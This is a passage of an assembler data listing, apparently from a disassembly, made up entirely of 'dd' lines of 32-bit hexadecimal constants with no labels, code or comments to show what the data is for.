		dd 0F42F3805h, 0C2B596F7h, 0B3E93E22h, 0E4E909B9h, 0D06E27D5h
		dd 0D225BC7Fh, 1F5D5DA0h, 64E72F7Bh, 4C61E1D6h,	75C64135h
		dd 1005D8Bh, 593276E1h,	0E8E6F09Dh, 0BA47D772h,	0F587E0C8h
		dd 309ADFEEh, 0B08690DDh, 9F389FC2h, 7F09BF59h,	89097A8Ah
		dd 21FA5714h, 73F2D224h, 0A6CA056Fh, 2231BE4h, 216AC428h
		dd 20DF5AD5h, 7588F5A0h, 0C3B60DEh, 0A4071C5h, 0F2B7682Bh
		dd 2CDCE905h, 7DE78A4h,	0C180E1D0h, 9F22D3F4h, 6ABD1A00h
		dd 4D595F3Eh, 1CDD7FF7h, 0EED102EDh, 7CDF00B2h,	93E97E1Bh
		dd 5E262DB4h, 896CC703h, 69CBB00Ah, 7EB02542h, 5A1805Dh
		dd 74010380h, 32CF65E9h, 7B81AF5Bh, 800488A8h, 4D5DE5DEh
		dd 61F9F8BFh, 14111243h, 0DE3A97FBh, 0C8B7DD1Fh, 1BD7C54Eh
		dd 2C5944BBh, 89420FCEh, 2FD05EAEh, 8B5A8E5Eh, 0A2C5D52h
		dd 5800080Ch, 0F5014E6Ch, 0C01C66E9h, 286EBD53h, 0A4A11063h
		dd 85D7C2D8h, 12EB3C2Bh, 5FCEAE1Ah, 0F9E9C20Fh,	107FE373h
		dd 54A4480h, 41BBBCCDh,	9340FAB0h, 0EAB03033h, 7B5D7301h
		dd 28F7814Fh, 0B510F8E8h, 0E2B04250h, 0EC5CA740h, 0B2174FCCh
		dd 0D6EC922Dh, 93D7A84Bh, 0C9A5B6EAh, 9450D5EEh, 71A69280h
		dd 0B1245A28h, 5F428DC0h, 9245E910h, 0BAFD9757h, 65CC5D81h
		dd 16A98920h, 0EE1B6850h, 3CFE644h, 0B75A56A3h,	3BB696ADh
		dd 6803474Ah, 17C92264h, 357DA790h, 985EF288h, 7C5409BDh
		dd 7142433Bh, 0FF4E0782h, 5C9DE5C4h, 2BDE2DB9h,	20D2D82Dh
		dd 801C5F37h, 0CECC49F6h, 24ED0C3Ah, 0CFCEF328h, 50F9D80Ch
		dd 1296E979h, 3E03C71Ch, 0DABCB6D4h, 89175EE0h,	2B02C529h
		dd 18E81291h, 0EAD713E4h, 0E87E19BCh, 8F4812A1h, 0F85CF4A5h
		dd 22F6E790h, 0A861DE24h, 8CDD3213h, 0C53E2FEDh, 8C8FBBA8h
		dd 23C1E909h, 28A9757h,	0FEE4AFE9h, 0B7CF8BF1h,	8A4FA6E8h
		dd 25E98200h, 0F9C6A571h, 1531D021h, 174253Bh, 0D2C248A5h
		dd 58F2767Bh, 0D34382BAh, 0B53EEFEh, 72CE6866h,	0B43826D2h
		dd 0E9E70961h, 68AEA067h, 26EE63F8h, 2475E3Ch, 0E94799Bh
		dd 87A585DFh, 3FF04AB1h, 3CDA2522h, 6EC978F8h, 0DE995DD8h
		dd 3172F56h, 310BA407h,	2F9D1649h, 955BB53h, 6B607DF8h
		dd 0FBBD42E9h, 1064243Eh, 0C9B903F8h, 4B788F1Eh, 0F664C18Ch
		dd 800487DCh, 0C43372E4h, 0ADF4B110h, 0E158E3C0h, 40BB1570h
		dd 0C02B898h, 0D13F5909h, 8598D7E0h, 39A861EFh,	67F91BD2h
		dd 44E14127h, 687303DBh, 52F17293h, 4C2F605Fh, 1F092F02h
		dd 6894FBE9h, 254D4645h, 0CA57618Ah, 8A3AD555h,	7E91102h
		dd 55C9E257h, 0DD5AD9F4h, 58C426D1h, 0F8C15A94h, 293FBC97h
		dd 2551F17Ch, 51852AA4h, 0B35E55FCh, 968C9D9h, 0D098DDD6h
		dd 488B74D9h, 43140320h, 0BF4A84C9h, 88048CC7h,	7E85C1EEh
		dd 6A05004Ch, 7FCD095Ah, 0C408F001h, 4291708h, 0CC364113h
		dd 0B39A5DE5h, 557E04B0h, 0F1D4F2Fh, 6625A02Ch,	9DE6C165h
		dd 0AC443AE0h, 1AD5911h, 0D6C1E94Ah, 13F90508h,	0F40BBF52h
		dd 1ECBF1D7h, 749C4B54h, 0FE351EDDh, 0FEE82DFAh, 68D8E576h
		dd 0B64F4AC6h, 0BF984AE5h, 0B05F4AFEh, 0FF5E567Ch, 0BE4174BAh
		dd 0EE72D221h, 70CE3500h, 8A0C3224h, 0D7759205h, 0F65D00AEh
		dd 3110262Ch, 9F2DB1A0h, 0D0F7A201h, 0C8E9C501h, 0CBC1AD6Fh
		dd 0AB6D555Dh, 12F4CC2Fh, 4133E957h, 2013B58Eh,	801D38EAh
		dd 0D2F602C4h, 0A7E22580h, 68126914h, 16300C10h, 978883B2h
		dd 50634D51h, 19725186h, 0AB580B92h, 308B2002h,	0EA8000D8h
		dd 0C27528F8h, 9F58D5E5h
		dd 0F2090112h, 40D6D938h, 0E5E92EB2h, 0DFB2AD5Eh, 37C40C0Bh
		dd 44EBE261h, 0BCCF0708h, 400B1908h, 696E8D02h,	35045801h
		dd 360A827Eh, 2EF5D370h, 0F2F7BE99h, 0AF7CE7C6h, 0E8844722h
		dd 62098F0Ah, 5386993Eh, 120BAA30h, 0EB5B3BE7h,	339CD0B4h
		dd 0DF26301Eh, 0D0D039E7h, 40EEC64Eh, 0B36B840h, 257B7810h
		dd 48CF1818h, 131995CAh, 0BB4F1BA8h, 11F73E40h,	0F27BCA69h
		dd 120861EFh, 0D9DCC053h, 2D5A8721h, 0D20F07FCh, 669937FCh
		dd 0CCB33A0Bh, 3C19FAE4h, 0EC2A219Eh, 409AB146h, 7941BA04h
		dd 2F341397h, 0C4EA0844h, 8989878Ah, 0C0D84B2h,	561C0810h
		dd 840B56B8h, 4494A19h,	0C3D24736h, 0E55075BAh,	0D6F5099Dh
		dd 0CD8431EFh, 4E382E59h, 0EE2AD721h, 3B228B23h, 0B305812Bh
		dd 80106FFDh, 0AE3C62C8h, 0CF010913h, 0AA04B01h, 41304250h
		dd 533838ADh, 80D14E93h, 0A7D84AA7h, 0F729E70Bh, 0BE6CDF5Eh
		dd 16148B4Eh, 2AB30F05h, 815BC0A8h, 2C3BD5F3h, 13AB03E2h
		dd 4BBAB2F5h, 0EA138DF9h, 0C4B8BC54h, 8807681Ch, 0C6DCF2CCh
		dd 2715797Dh, 2594467Dh, 8801C3E9h, 2B05E668h, 0EFC19BECh
		dd 600C5E6Eh, 0FE80D8B7h, 48B590CAh, 383EBB87h,	50955EB0h
		dd 81035859h, 97338CE1h, 46C9B039h, 0BBF2D45h, 0E9418454h
		dd 9063D832h, 88310650h, 61EA7C5h, 0B8D67323h, 2CFB94C5h
		dd 1B0495E8h, 7401182Ah, 0C040F99h, 0B82FA399h,	0B02BC424h
		dd 44F75505h, 770BD97h,	0E772F589h, 0FBAD047Dh,	0FAA38E66h
		dd 27580FBFh, 0EC4B5E5Ch, 60F774ABh, 0EF5B6FF9h, 0B7C3CF4Ch
		dd 64B56383h, 151CCB79h, 8BC4CC30h, 0AEBD5B0Bh,	2EC76F10h
		dd 0B20F1404h, 0CC8644E4h, 7923A2FAh, 89949829h, 0D76D6842h
		dd 0BCDD908Bh, 0E574B4E7h, 0CE1ABC6h, 0DDE1F4BFh, 30483DD7h
		dd 0EF629C24h, 0E074B0DCh, 820D731Ah, 37204470h, 0CD012C83h
		dd 40F40045h, 0E3813616h, 0B5FA80Bh, 4E2DD566h,	22107E08h
		dd 1A027B80h, 49E9D9EFh, 10F6556Fh, 4214D45Ah, 4F5F7BCCh
		dd 50CC2621h, 0BF80C1F5h, 0DE74165Fh, 296AE07Ah, 97D1969Fh
		dd 61870F40h, 1C13C95Ch, 20C59FEFh, 1B16896Bh, 4DDC8704h
		dd 66E5811Fh, 0D817BA3Eh, 3F172FCDh, 93BC253Bh,	607B0C18h
		dd 0B9BC34EBh, 2897F230h, 297E3E14h, 34081C68h,	5D140B1Ch
		dd 1C36B17Dh, 0D233DD7Ch, 54C99CB2h, 9FD06BBAh,	28454A67h
		dd 41CC501Bh, 0C13F20A4h, 63E67B07h, 451EE81h, 0A82E30ECh
		dd 0C0A37C1Ch, 964F8EF8h, 614705BDh, 97A4F252h,	0B9B148B6h
		dd 0BD49F5B0h, 10CA9048h, 9958D743h, 0CE2D638h,	157FD329h
		dd 4DE98B19h, 5D4F15D8h, 693247E0h, 55DC80DDh, 813E9850h
		dd 1CFBD852h, 0FCE297C3h, 6680F56Dh, 59240DF2h,	0DF30EEC4h
		dd 3D30148h, 9613AE3h, 0C3032FDAh, 0DB73D9B1h, 0DED4BCBDh
		dd 795128C9h, 8F92BCC8h, 0CF84A09h, 0B99488C0h,	0E9EAD10Eh
		dd 8799E00Dh, 0FC7EB7CFh, 14FDC412h, 7556E44Eh,	65BB725Bh
		dd 68BCA44Eh, 6FA80E4Fh, 0E82459CFh, 2332AF64h,	17E569Ch
		dd 3D6E63BDh, 0BF83B68h, 0C310E800h, 35E94555h,	0BE6696E7h
		dd 3D27C960h, 12E1A9Eh,	80932F5h, 84455C04h, 2BA8FA2Fh
		dd 2613E9D0h, 0A1D4F819h, 0AF040BB2h, 62D82EC0h, 2F227C93h
		dd 52D93EFAh, 0D1BB5897h, 82B8FD4Bh, 1B68AD62h,	78EBAA33h
		dd 0D9EB432Eh, 68576182h, 455DC2B5h, 0F05F17EEh, 670031A7h
		dd 0EA2D110Fh, 65BBF76h, 95913A35h, 0C272D0D4h,	0D75AD62Ch
		dd 5048091Ah, 0BC150214h, 0F229CAB5h, 0BCA40CCCh, 0A540D32Ch
		dd 72186861h, 0F7AB85C3h, 27142028h, 9E713B5Fh,	0E6954C42h
		dd 8BE09FEDh, 68741131h, 4D27644Ah, 25A3BAC7h, 0D090AF50h
		dd 0B7EA44E9h, 805AA225h, 74BD1EC1h, 0C2A4934Fh, 565E2BF5h
		dd 0BBED17F6h, 0FC172184h, 0E92DC3BAh, 3BFF18DAh, 22FE9522h
		dd 0D2A92B23h, 42EB07D9h, 0E3C077EEh, 580B1296h, 76E5C118h
		dd 0E59314E6h, 0F3375DFh, 25119962h, 0BA6B072Ch, 0E9799890h
		dd 0FA72D266h, 4910899Fh, 0FC3E60F6h, 2E0E412Dh, 1715435Bh
		dd 6F9EFF98h, 281DE90Bh, 5A300066h, 3CF679DEh, 36923D4Eh
		dd 4F09C5A7h, 4003C4D9h, 97296F47h, 1716168Bh, 0B3398268h
		dd 4196E08h, 1781572Bh,	0E9232F9Bh, 0E5002D4Ch,	0F75E562Eh
		dd 0C89F47DFh, 2DD1416Ah, 87FDA1A9h, 137C3E7h, 90C1336h
		dd 647C65DFh, 8A011FEh,	622E07A0h, 777CE3Eh, 0B60CFEAh
		dd 0E9C082C9h, 0F895FF2h, 6B3E01DBh, 65EF20FEh,	0BF32F325h
		dd 32CE30E1h, 0E7F04199h, 0F423E1F9h, 9395FC8Bh, 0D669E2C8h
		dd 77228045h, 0A405705Dh, 0F0EBBE16h, 5EC24AB4h, 0A15AACA5h
		dd 9C51129Ah, 510C703Eh, 0F6FEB109h, 19A57FD9h,	3F6581C8h
		dd 173F3DA9h, 0ABC98F98h, 0D3EEA72Eh, 0C5C9AEB9h, 0C5717875h
		dd 9182E9A2h, 7F315B10h, 0EBED2704h, 0ED4BB810h, 7F307B55h
		dd 53E517BFh, 37E23003h, 9DFD024Eh, 0FE01EE26h,	0C546BC16h
		dd 20ACEB21h, 0BF04C907h, 4E9579D2h, 56561FFFh,	2865B11Bh
		dd 1668849Ch, 4DB699EAh, 8A133BE5h, 4E6DE6EAh, 0CCA2CEFh
		dd 0E22B5981h, 26D4C4C6h, 6748BE01h, 0EE172064h, 52374618h
		dd 26C9F60Ch, 8A115Ch, 0CD1B951h, 10406E6h, 0F78959CEh
		dd 0B162F9BEh, 717BC731h, 2B386EE8h, 0C2F438B8h, 6801A352h
		dd 8A78208Bh, 45A222DCh, 0EA4EFC04h, 0EA5813E6h, 7CE9D12Dh
		dd 0F8E1E305h, 0CEA23BFEh, 93632150h, 0D050BF9h, 8B976594h
		dd 2031DD3Bh, 0D708C68Dh, 0C4B45809h, 0E4681707h, 842AAD0Dh
		dd 4CD1576Eh, 92ACF88h,	0C7D8D7F1h, 28FF544Bh, 0EC25E914h
		dd 1C975512h, 10FFFE27h, 0DB5E28C1h, 986052BDh,	0FF49DD5h
		dd 8292EFF8h, 0B2B462FDh, 182DF2Eh, 0F0E59ACBh,	93CCD80h
		dd 20E96F0Ah, 66388E4Eh, 50C30058h, 4768ACB0h, 486A66Dh
		dd 0EEC05FB6h, 0F6E68208h, 0F2570E55h, 0C68C201Dh, 0F3FE38DCh
		dd 2E5158D8h, 19BE20B5h, 2EEE7FC4h, 0AD4E4EB8h,	77A51715h
		dd 0CF22FEEh, 1008A2E9h, 280E71B9h, 4BEE3C76h, 58BE2543h
		dd 510D862Fh, 6C58839h,	117E9EBh, 0EDC75F85h, 31A24E25h
		dd 0E406B892h, 728FBE0h, 0C18058E1h, 0B48F3F02h, 0C559C827h
		dd 0C33EA2D0h, 87C32C3Dh, 5A12BDFFh, 53CCD7FBh,	5402B46Ah
		dd 0A043EDB8h, 0E2847712h, 4DB7C248h, 8B57FBC2h, 267609h
		dd 0E913186Bh, 38C7FF51h, 63AECF80h, 0A6674E7h,	0C728A4EEh
		dd 0F80809DFh, 20BDE5F5h, 0F67304C7h, 9533E9DDh, 0A99BF068h
		dd 0D5AA05F9h, 92E4EEB0h, 13219E68h, 20EFEC5Fh,	4A5C7D87h
		dd 0FF8C84E6h, 7E4F7280h, 0BE105D7Ah, 0E9F32103h, 0AC78B60Bh
		dd 12D99EB7h, 0B21425E9h, 44A48FBh, 19683488h, 5F8C6283h
		dd 2707AC0Dh, 2D16D729h, 4E129EB0h, 0A2F97694h,	975B0840h
		dd 580BD4DBh, 0AAC4795Dh, 0C895252Ah, 5117205Bh, 45E500EFh
		dd 0B1E977A6h, 0FCBD3B9Ah, 0DE485085h, 0DF0C2B97h, 0FFD835ABh
		dd 0F70781E2h, 53D33BCAh, 5040E767h, 0C15660DCh, 0D87EC1EAh
		dd 0A0B2821Fh, 0DCF665F2h, 32038219h, 88F71AB0h, 59120736h
		dd 5706E4F8h, 0B7BA39E9h, 412F0192h, 0B56310B3h, 518072F5h
		dd 0CDF1F819h, 12AF0E9Ch, 0D85900E8h, 0A1E9BC2Ch, 13F09E52h
		dd 74B204C3h, 0C2BDE981h, 0D7892BFEh, 4897A92Bh, 2F291073h
		dd 332D9B48h, 409716B4h, 1F03337h, 0DD054046h, 0D84FC74Dh
		dd 6B9587E9h, 5E2AB1AAh, 4ECA4624h, 0A99FA59h, 0C8C5B82Fh
		dd 0BB4D6414h, 8EAE1853h
		dd 0F2F35A48h, 17B2A4C4h, 47F176E1h, 20E18955h,	60533308h
		dd 54F9C857h, 89044013h, 9C56E9C7h, 2C13C1ADh, 0EEA343h
		dd 757C04ABh, 5879CF81h, 0D04F961Ah, 0F14B677Eh, 4F472F13h
		dd 6A654B01h, 0F56CA56Dh, 94AABC4Fh, 70B4B40h, 0C5C3D52Dh
		dd 0CFE0EAADh, 775CBD5Eh, 113ED88h, 1C99EA81h, 0AB7FEA33h
		dd 6F786019h, 0F945FC3Bh, 535FC9D6h, 944CB3Bh, 54CFE9D6h
		dd 0B7C82FCBh, 27095CEEh, 772DE874h, 0ACE9AFC0h, 68169EB2h
		dd 78B85A2Eh, 144F45A5h, 0B82F9005h, 41E97808h,	622F83FCh
		dd 0EEE418C2h, 0FACD296Eh, 4C07699Eh, 3DDC0300h, 659E5DB9h
		dd 540DC687h, 0E8E9A360h, 0F2F3C087h, 69FC18A7h, 0BCB549Dh
		dd 0E77F59B5h, 0E5681FB6h, 0B86074FEh, 4CF90C0Fh, 0D039B870h
		dd 0B878DD97h, 27BA04FEh, 0C1E073F8h, 699409C5h, 6CF065EBh
		dd 1357BF41h, 4DACAF84h, 2565A13h, 89780D22h, 6820DD61h
		dd 51BD2D7Ah, 5DEA02A6h, 0C261295Fh, 0A6126EE6h, 228B6FFh
		dd 0BC47A6EAh, 4582750Eh, 4CFD8678h, 0A4C47338h, 0C9E72FA3h
		dd 0D70812DDh, 584E86D0h, 2D08C1EEh, 5EB29DB1h,	913F728Ah
		dd 0E5565B62h, 9214CC56h, 279CE405h, 0B0B4F031h, 3AFB4143h
		dd 687A3529h, 9F4AAE8Eh, 0CEA3CABh, 0D18998B7h,	25522560h
		dd 9D427412h, 3DB67E57h, 0E3EA3D92h, 0F00581ADh, 0BC304E6Dh
		dd 4D59850h, 136E1C38h,	106AE89h, 3252F49Bh, 0DBCA5358h
		dd 212042D2h, 47B33E03h, 0D2297EEBh, 80896175h,	9D5D8464h
		dd 0D6791474h, 0F9404D0Ch, 1B5F00BAh, 0BF5715F8h, 91090F78h
		dd 7882E96Ch, 0AE240002h, 1F2CD0F6h, 3DB8C388h,	283AC2E6h
		dd 0CAEBBAF3h, 16928FFEh, 0D2D761DDh, 0FDBBEDD4h, 43E21255h
		dd 78C200E2h, 0BF76FED4h, 0B33B6341h, 0E4E8F17Fh, 29B8745Ch
		dd 2227F504h, 2AF327Bh,	1743143Fh, 7DB7125Dh, 1C12ED83h
		dd 0C94E0B1Eh, 21F003A5h, 0E17B2E47h, 0F372EAAh, 0E3C71EB7h
		dd 1976EBC1h, 0D9C064E4h, 4ED3E902h, 0DE20A4AFh, 5C7B0D9Ah
		dd 0F2A9E04Eh, 0FB9C37C6h, 3281DA00h, 775C3D0Ah, 2D5B5A5Ah
		dd 2FFF393Eh, 0D035C216h, 2DF99FFBh, 0F146DDEBh, 8A0A3330h
		dd 0FE3814Bh, 6BC34607h, 4C99598Fh, 7A7D725Ch, 44C4BA4Eh
		dd 967AF3EFh, 5B929DA1h, 2AC42D5Dh, 0DE0262F6h,	6A4C685Bh
		dd 0E941FFF1h, 523A3702h, 1D2F130Dh, 655725A4h,	0E50F0A8Eh
		dd 5BD889FBh, 2120D0D0h, 0D15F5F9Fh, 6984592Fh,	42D3CD27h
		dd 0A9059F30h, 802F58CEh, 770A2F15h, 450CE6ECh,	0C801851Fh
		dd 4879185Ch, 0B912442h, 0C129E42Fh, 6EF4CB13h,	2E08808h
		dd 82281222h, 2E070F7h,	5073F280h, 4AD7D088h, 58B2C176h
		dd 9DFE68C8h, 0C9C9995Fh, 1B215975h, 2FB5BCCh, 355C0D38h
		dd 0E0771CE4h, 76D2DD6h, 0E982FD96h, 21304DD1h,	0C8C740F1h
		dd 317D882Ch, 212D512Fh, 0FEED357Bh, 9FE48C7Bh,	0DCBD6070h
		dd 0A6F153A3h, 0D9F5C213h, 0C15DE456h, 3AEA843Ch, 7469FEB6h
		dd 0FD0E90D5h, 9AB78021h, 43EF8005h, 5AC2CFFEh,	0DD935581h
		dd 1096F6B0h, 5F08212Dh, 0C5FABD82h, 4ACAC00Fh,	0B26BF539h
		dd 2077958Dh, 9282B254h, 0D6E91370h, 3C6358ADh,	179C41A5h
		dd 6F880FEAh, 665B01DCh, 0D32A0668h, 686FF31h, 0BA5D2F6h
		dd 0E207915Eh, 337C0AFh, 0FCABDAD7h, 4CC28CECh,	7EB5EA06h
		dd 69C83A75h, 0E9251E20h, 0BD2D60A6h, 0C7571E40h, 0F7418B3Ch
		dd 0B0F09E5Fh, 0F7F4CB9Ah, 0EE88C951h, 0C9FE015Ah, 4471B753h
		dd 0D0EB819Fh, 0C5EA05DFh, 0AC6D536Ch, 440809F0h, 4545750Ch
		dd 0C95B880Fh, 0AE81D775h, 27DC97E9h, 0E2BD3908h, 0AFCB2C1h
		dd 5C2D0271h, 60EB1670h, 0FAB310F1h, 95BE6CDDh,	5CD8C9F6h
		dd 7B9F0205h, 0F8015DC6h, 0A3C25056h, 0EE34C408h, 0F84F4B6Bh
		dd 0C15DA2ECh, 2D0018B6h, 0C35064ABh, 0FEF88591h, 0C214F4BDh
		dd 9CA3D62Ch, 93DF34C0h, 5703C82Fh, 982BBBC3h, 3E73D920h
		dd 59C61780h, 465C553Fh, 162864B5h, 0B24CE94Eh,	762CCB77h
		dd 3BBCAD9h, 53DE5E27h,	10E3F6B5h, 51007C3Ch, 3834BBB9h
		dd 0E113C175h, 0BE4108h, 87F1816Fh, 60E77D73h, 2D16184Dh
		dd 80103EB9h, 0F6E226EBh, 0CAC2311Eh, 75F29EF7h, 472D9E50h
		dd 0CA2BDD99h, 50F6005Fh, 0BD2DDB5Dh, 0F2011574h, 20A11002h
		dd 0BB10D578h, 0D9A15EB9h, 776BBA8Eh, 0CF813920h, 792535DDh
		dd 4742F42Fh, 0C5440584h, 755204F8h, 0F1041653h, 8FAB02C5h
		dd 54E91283h, 1AF9A85h,	3350A878h, 4C863829h, 4B3004CCh
		dd 0F0EA772Bh, 8CD0D8DBh, 5F6E600Bh, 4B8DE95Bh,	3412CC4Eh
		dd 0DC83CE68h, 15215802h, 494AD706h, 0B0C080Ch,	0AF76109h
		dd 0FD07452h, 89A50D1Ah, 0EA80C2F2h, 64F5C648h,	0F62A393Ch
		dd 6850010Eh, 77898E2Dh, 0B17EC52Dh, 0D7F83A63h, 1317CE40h
		dd 1744F918h, 0C975E13Bh, 201731C2h, 0C8F81CFAh, 55095EB4h
		dd 5B640254h, 0CAD10B1Eh, 0F58BD6CAh, 76FC0B03h, 0B3A116EAh
		dd 12BE4E0Bh, 6E8EBE87h, 0F114544Bh, 5F76AB20h,	1A1EC725h
		dd 8667FDBCh, 2CAE5696h, 47167EE2h, 0E41D224Ch,	4A045E6Eh
		dd 0B0EEEBC1h, 0EE13D0C6h, 0E2B06299h, 15B90525h, 0C54818B5h
		dd 5609C734h, 0A6A7904Fh, 1A27C825h, 0C7688003h, 0A38B474Ah
		dd 0C330FA5Eh, 16B1BA52h, 62C841h, 185B7915h, 0D1A24A1Eh
		dd 20511869h, 2800702Ch, 20B94052h, 9DAAE833h, 0D7996641h
		dd 5C79733Eh, 0D65FC948h, 1BC6584Eh, 49825F82h,	0F04134EEh
		dd 50BD0444h, 0E24BAD49h, 4E2E78B7h, 2969F85h, 0BA3A08CDh
		dd 5ABD8A28h, 1FB08FAAh, 0B0A0CDB2h, 68A2B7A1h,	3064115Fh
		dd 2680DF95h, 5B59CF01h, 0F9BBA2BDh, 0D2B8FD42h, 6E62D968h
		dd 5631B55Bh, 0BF5AE570h, 26585ACEh, 0B463DB17h, 5A95884Eh
		dd 0D24F01h, 8ECC062h, 0C47BF480h, 5A435E62h, 77945D87h
		dd 0D2F14564h, 3C3258B9h, 0D1D75913h, 49F76BFEh, 2BA7276Dh
		dd 475A80FFh, 134D2C78h, 103E6C1h, 0B9AFB43Bh, 0C6C43B58h
		dd 2EE149BFh, 47572362h, 0A9FC0CB8h, 0B0985C56h, 0F13A4B41h
		dd 88006045h, 7F73F8BDh, 0E02A3250h, 0B705AD2Ah, 0ED80DDABh
		dd 0CB007AAFh, 3D3041BFh, 5BD7F47Ah, 0B831FFB6h, 0E22E5AF7h
		dd 32BB9798h, 55297E05h, 687C4F46h, 93B75864h, 0B01FE8ACh
		dd 0B8857DAh, 8D843F55h, 2B31AFC0h, 400571EEh, 76AB49A5h
		dd 0FE792940h, 85BD565Fh, 6ACBAE96h, 0C92DED48h, 504B6066h
		dd 6FCF4445h, 0D94966E3h, 0A0A9532Ah, 28563FD1h, 2D838E8h
		dd 3720776Eh, 9FA952E9h, 275D37Dh, 114B685Ah, 0EEC24551h
		dd 8283655Dh, 66C3315Ch, 41CC565Dh, 25EB20E9h, 7F16A16h
		dd 571AD02Bh, 712CA568h, 3817A834h, 0B1EF28B1h,	72227491h
		dd 9D13BF4Bh, 0F8621692h, 0BCFF97ECh, 0BE792F7h, 3A687F84h
		dd 5B5CD32Bh, 0F1C0E940h, 0F7EFB7FFh, 0CE14E984h, 0D097598Dh
		dd 874C437Fh, 0D0F881FEh, 37589607h, 0A767048Ah, 0A6A4BF24h
		dd 0DD8B5A41h, 1307BFF6h, 4E92E4ACh, 9CA1D5F6h,	824702EFh
		dd 4F1E8BFAh, 0E984F7B0h, 0F314D573h, 825D27F4h, 9A860CDh
		dd 759D69DAh, 0D989BB89h, 47A6D859h, 0D8859713h, 5EEFDEAAh
		dd 0D027E7CBh, 0AEBEC402h, 0EB0F34C1h, 0A94AD5AAh, 0DC43B7F4h
		dd 777EAA20h, 0D189B75Ch, 0C30A80EEh, 0BD4BB54Dh, 0F98354DEh
		dd 0FBFCF536h, 49679FC1h, 0E9C6C1EBh, 45810845h, 0BD00BEF5h
		dd 872740B2h, 33B1767Bh, 0C095204Ch, 0BC3FE5BFh, 60183860h
		dd 0C0124973h, 0FC35400Ch
		dd 0EF5A016Fh, 90E9E92Ch, 0E25B948Dh, 11AF6853h, 949BA7EAh
		dd 0CA27D8E3h, 0D59DE3F8h, 86256794h, 1C4A72A9h, 30855915h
		dd 3AF41E88h, 0B385B65Fh, 0F72DBE80h, 0F04A7164h, 0F774BF87h
		dd 17685640h, 12597416h, 1DEF75Eh, 0C03F935h, 0CFC2E23h
		dd 0BFB3A504h, 4E7AE4E4h, 48004D92h, 266CD235h,	12640536h
		dd 0E45F6E12h, 2525CABDh, 0F9EE55FFh, 8E9DC2FAh, 32DEDF58h
		dd 64D20D09h, 525C0938h, 677D8668h, 94DBAF41h, 13C0CF93h
		dd 586286BFh, 0EF030D6Ch, 0DAE02820h, 4EEE2C04h, 0D4EB10D0h
		dd 0FB081760h, 0D0C2BB63h, 25876573h, 0BE45D301h, 77B0D8C5h
		dd 322304B9h, 0EE416476h, 0D9E89284h, 40E3F64Eh, 6D3F7FD6h
		dd 98BFCB31h, 2FF0539Dh, 3295B192h, 0F082D590h,	6DDD9C40h
		dd 0F181802Bh, 227F157Dh, 0D5305AC9h, 6C25D8E5h, 0CEE059Dh
		dd 0BF0869E7h, 91EE6D64h, 3C1B3340h, 0C9E982ADh, 26E5DA7Dh
		dd 8107B5CFh, 45A203C6h, 67C03B49h, 1287BB53h, 17173619h
		dd 830EBF5Ah, 0FF3C006h, 0C3518607h, 7844450Ch,	0C638838Dh
		dd 68A84C5Bh, 96776625h, 0B11EC4EBh, 0FF1416A8h, 76D32D91h
		dd 0AB049734h, 5C32892Eh, 45F4938h, 0E3AB5D04h,	0E3E984B7h
		dd 5BC6D0AFh, 6F7A811Dh, 13D44359h, 0D20DC529h,	3A350F73h
		dd 0B9DAD46Bh, 0B5EA8793h, 78D0EF72h, 0B779D6D2h, 61EAD654h
		dd 2E5DEF46h, 285F77B7h, 0FF2DE924h, 0B55EC6E3h, 0D3BF8872h
		dd 0A4281616h, 0AFBFED1Ah, 0A6726A73h, 9E098EA6h, 0D93C7D10h
		dd 0CAB586BAh, 816ADFFAh, 7BAC6661h, 0F15E09F7h, 52A83BEBh
		dd 3C52BBA4h, 12AB7CDh,	0B407A032h, 1096541Ah, 0B112DF07h
		dd 9345E828h, 34F351B1h, 1606C508h, 0CA07EB97h,	0D5CBF801h
		dd 7D54926Ch, 82BD31FFh, 5784BDFEh, 55D9993Bh, 61322BB0h
		dd 37AD7E1Ah, 9EF9432h,	69DCD059h, 43DFB550h, 0E9EF095Bh
		dd 0F954B87Ch, 220CFEE2h, 0AD07A4B7h, 5D05E262h, 3858F2A0h
		dd 2D091F36h, 857E4137h, 49E0FE0Eh, 0A6B59EBFh,	25C528D9h
		dd 0EE3B61CDh, 80BF1DD9h, 0A38AF31h, 1E7812Bh, 68371546h
		dd 75E3A2E9h, 0B1FC3E98h, 0F95E574Ah, 352DD5B7h, 0B11DAD61h
		dd 5E35FBE6h, 253DCEEFh, 4F8CF652h, 7C2CCB81h, 0CCA06A95h
		dd 5CA8E459h, 0E6050BC5h, 0AA416313h, 8075094h,	87F9295Bh
		dd 80F35624h, 0DCDFC333h, 0E310ECABh, 54B0F5E9h, 17BD2D68h
		dd 5F27CC67h, 0F42563C7h, 208B9A30h, 1661DAD5h,	0FDFEA3E8h
		dd 395A8A11h, 0F498BE09h, 7957D2C6h, 0CADD88F8h, 3855BA07h
		dd 30807F5Bh, 478E7BCDh, 3CC5E912h, 702D8F90h, 31127BDEh
		dd 0D0630DFBh, 77003F5Ah, 11F117F3h, 0BA6E7BAh,	0A0072736h
		dd 0ACA36443h, 0B15A319Bh, 62295758h, 0A19AA0F4h, 0F3E00DEDh
		dd 10EC95ABh, 0D30E686Ch, 522FC0F7h, 0F08870B6h, 0DBFD82A2h
		dd 0E6F5C9B9h, 0B038556Fh, 41C5407Ah, 5811A24Eh, 50542D06h
		dd 40981ED7h, 0C60E863h, 73DC5A47h, 0CFF200D2h,	936EA5D4h
		dd 72C59631h, 0B4AB59C1h, 82006483h, 0C5FCEACh,	3F7EF57h
		dd 88C1849Ah, 5397BC81h, 2A0E62DBh, 0E033D7B0h,	13859531h
		dd 7064C4Dh, 8D0F190Ah,	0AE90C28h, 0EA004B0Bh, 785661F1h
		dd 584054B6h, 7C00857Eh, 0BA2EA3D0h, 0F3605094h, 98B5F616h
		dd 1B8BF6C7h, 5E2019BDh, 645C2E1Fh, 0F38A7883h,	856F3F89h
		dd 39B1E745h, 602E9D23h, 1621B5C6h, 0BF0F010Eh,	0EB8361C3h
		dd 38FDC02h, 1ACEB1A4h,	0BD31214Bh, 6D890749h, 0D2CDCFBh
		dd 0F5A88F62h, 39C011E9h, 28011E92h, 0CB4200BAh, 0EF90E48Eh
		dd 0CF004716h, 0BEAAEB53h, 3EC5B479h, 693DA4E0h, 0AECD9600h
		dd 0C4A57395h, 0B0A2D401h, 0C580E765h, 0BB38E0F2h, 1E176C6h
		dd 0C0416CADh, 71957ACCh, 40FFAh, 0AEAA47E1h, 0C3F061BCh
		dd 0DADBCA18h, 52506898h, 0E930B500h, 0B9D3B1AFh, 4FBC0074h
		dd 0CB9A7D49h, 29C8D8A5h, 0D7094286h, 0EA216B24h, 0BA7A11D6h
